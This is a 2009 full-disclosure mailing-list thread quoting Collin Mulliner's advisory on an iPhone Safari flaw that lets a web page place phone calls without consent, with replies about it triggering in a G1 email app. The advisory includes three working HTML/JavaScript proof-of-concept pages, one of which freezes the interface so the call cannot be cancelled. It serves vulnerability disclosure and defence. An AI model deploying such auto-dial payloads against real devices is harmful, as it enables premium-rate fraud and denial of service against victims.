Date: Thu, 18 Jun 2009 14:07:19 -0700
From: Mike Ely <me@...pehat.com>
To: Collin Mulliner <collin@...aversion.net>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: Re: iPhone Safari phone-auto-dial vulnerability (original date:
 Nov. 2008)

Perhaps not getting to the dialer, but having the dialer launch automatically just from viewing an email?

Collin Mulliner <collin@...aversion.net> wrote:

>Mike,
>
>just getting to the phone dialer is not a bug! That is what the tel: 
>protocol is for. All most all mobile phones implement this, every time 
>you open a tel: URL you will get to the dialer in some way.
>
>Collin
>
>Mike Ely wrote:
>> Confirmed on the T-Mobile G1 email app running OS version 1.5.  Was wondering why my phone stepped on email to dial out when I read this email and then I read the subject line ;)
>> 
>> FWIW, it didn't actually dial, just loaded the dialer with that number ready.  
>> 
>> Looks like this is a Webkit bug, not Safari. 
>> 
>> Collin Mulliner <collin@...aversion.net> wrote:
>> 
>>> Released since Apple published the iPhone 3.0 security fixes.
>>>
>>> Vulnerability Report
>>>
>>> --- BEGIN ADVISORY ---
>>>
>>> Manufacturer: Apple (www.apple.com)
>>> Device:       iPhone 3G (iPhone 1st Gen)
>>> Firmware:     2.1 (possible earlier versions)
>>> Device Type:  smart phone
>>>
>>> Subsystems: Safari (and mobile telephony)
>>>
>>> -----------------------------
>>>
>>> Short name:
>>>   iPhone Safari phone-auto-dial (vulnerability)
>>>
>>> Vulnerability class:
>>>   application logic bug
>>>
>>> Executive Summary:
>>>   A malicious website can initiate a phone call without the need of user
>>>   interaction. The destination phone number is chosen by the attacker.
>>>
>>> Risk: MEDIUM-HIGH
>>>   Medium to high risk due to the possibility of financial gain through
>>>   this attack by calling of premium rate numbers (e.g. 1-900 in the
>>>   U.S.). Denial-of-service against arbitrary phone numbers through
>>>   mass-calling. User cannot prevent attack.
>>>
>>> -----------------------------
>>>
>>> Reporter: Collin Mulliner <collin[AT]mulliner.org>
>>>
>>> -----------------------------
>>>
>>> Affiliation: MUlliNER.ORG / the trifinite group / (Fraunhofer SIT)
>>>
>>> -----------------------------
>>>
>>> Time line:
>>>
>>>   Oct. 20. 2008: Reported vulnerability to vendor.
>>>   Oct. 20. 2008: Vendor acknowledges receiving our email.
>>>                  Not commenting on the vulnerability itself.
>>>   Oct. 27. 2008: Sent update to vendor, also requesting a status report.
>>>   Oct. 29. 2008: Reply from vendor acknowledging the vulnerability.
>>>   Oct. 30. 2008: Sent additional information.
>>>   Nov. 13. 2008: Vender says vulnerability is fixed in upcoming OS
>>>                  version.
>>>   Nov. 20. 2008: Public disclosure.
>>>   Jun. 18. 2009: Full-Disclosure.
>>>
>>> -----------------------------
>>>
>>> Fix:
>>>
>>>   iPhone OS 2.2
>>>   iPhone OS 2.2.1
>>>   iPhone OS 3.0
>>> 	
>>> -----------------------------
>>>
>>> Technical Details:
>>>
>>>   The Safari version running on the iPhone supports handling the TEL [1]
>>>   protocol through launching the telephony/dialer application. This is
>>>   done by passing the provided phone number to the telephony
>>>   application. Under normal conditions, loading a tel: URI results in a
>>>   message box asking the user's permission to call the given number. The
>>>   user is presented with the simple choice to either press call or
>>>   cancel.
>>>
>>>   A TEL URI can be opened automatically if the TEL URI is used as the
>>>   source of an HTML iframe or frame, as the URL of a meta refresh, as
>>>   the location of a HTTP 30X redirect, and as the location of the
>>>   current or a new window using javascript.
>>>
>>>   We discovered a security vulnerability that dismisses the "ask for
>>>   permission to call" dialog in a way that chooses the "call" option
>>>   rather than the "cancel" option.
>>> 	
>>>   This condition occurs if a TEL URI is activated at the same time
>>>   Safari is closed by launching an external application, for example
>>>   launching the SMS application (in order to handle a SMS URI [2]). The
>>>   SMS application can be launched through placing a SMS URI as the
>>>   source of an iframe. This is shown in the first proof-of-concept
>>>   exploit below.
>>> 	
>>>   Further investigation showed that this behavior can be reproduced by
>>>   launching other applications such as: Maps, YouTube, and iTunes.
>>>   Launching these applications can be achieved through loading special
>>>   URLs using the meta refresh tag. This is shown in the second
>>>   proof-of-concept exploit below.
>>>
>>>   We also discovered that the bug can also be triggered through popup
>>>   windows (e.g. javascript alert). In this situation the initiating app
>>>   does not need to be termianted in order to active the call.
>>> 	
>>>   Finally, we discovered a second bug that can be used to perform
>>>   malicious phone calls that cannot be prevented or canceled by the
>>>   victim. This bug allows the attacker to freez the GUI (graphical user
>>>   interface) for a number of seconds. While the GUI is frozen the call
>>>   progresses in	the background and cannot be stopped by the victim user.
>>>   Freezing the GUI is achieved by passing a "very long" phone number to
>>>   the SMS application. The SMS application, immediately after being
>>>   started, freezes the iPhone GUI. Also switching off the iPhone cannot
>>>   be performed fast enough in order to prevent the malicious call.
>>> 	
>>>
>>>   [1] http://www.rfc-editor.org/rfc/rfc3966.txt
>>>   [2] http://tools.ietf.org/html/draft-antti-gsm-sms-url-04
>>>
>>> -----------------------------
>>>
>>> Further Discussion:
>>>
>>>   The dialing dialog is clearly shown to the user also the user, in most
>>>   cases, can't press cancel quick enough in order to stop the initiation
>>>   of the call. Once the external application is launched, the telephony
>>>   application is running in the background performing the call. Only
>>>   the call forwarding dialog (containing the "dismiss" button) indicates
>>>   a call being made.
>>>
>>> -----------------------------
>>>
>>> Proof-of-Concept with plain HTML using the SMS application:
>>>
>>>   <html>
>>>   <head>
>>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>>   </title>
>>>   </head>
>>>   <body>
>>>   <iframe src="sms:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>>   <!-- second iframe is to attack quick users who manage to close the
>>>        first call-dialog //-->
>>>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>>   </body>
>>>   </html>
>>>
>>> Proof-of-Concept using javascript and the Maps application:
>>>
>>>   <html>
>>>   <head>
>>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>>   </title>
>>>   <meta http-equiv="refresh" content="0;
>>>   URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt">
>>>   </head>
>>>   <body>
>>>   <script lang=javascript>
>>>   function a() {
>>>    document.write("<iframe src=\"tel:+14089748388\" WIDTH=50 
>>> HEIGHT=10></iframe>");
>>>   }
>>>   setTimeout("a()", 100);
>>>   </script>
>>>   </body>
>>>   </html>
>>> 	
>>> Proof-of-Concept attack where the victim user cannot stop the malicious 
>>> phone call:
>>>
>>>   <html>
>>>   <head>
>>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>>   </title>
>>>   </head>
>>>   <body>
>>>   <script lang=javascript>
>>>   l = "<iframe src=\"sms:";
>>>   for (i = 0; i < 10000; i++) {
>>>           l = l + "3340948034298232";
>>>   }
>>>   l = l + "\" width=10 height=10></iframe><iframe
>>>   src=\"tel:+14089748388\" height=10 width=10></iframe>";
>>>   document.write(l);
>>>   </script>
>>>   </body>
>>>   </html>
>>>
>>> -----------------------------
>>>
>>> More Detailed Information:
>>>
>>>  Demo video available at:
>>>   http://www.mulliner.org/iphone/
>>>
>>>  Advisories:
>>>   http://www.mulliner.org/security/advisories/
>>>
>>> --- END ADVISORY ---
>>>
>>>
>>> -- 
>>> Collin R. Mulliner <collin@...aversion.net>
>>> info/pgp: finger collin@...aversion.net
>>> If Bill Gates had a nickel for every time Windows crashed... Oh wait, he 
>>> does!
>
>
>-- 
>Collin R. Mulliner <collin@...aversion.net>
>info/pgp: finger collin@...aversion.net
>C gives you enough rope to hang yourself. C++ also gives you the tree 
>object to tie it to.

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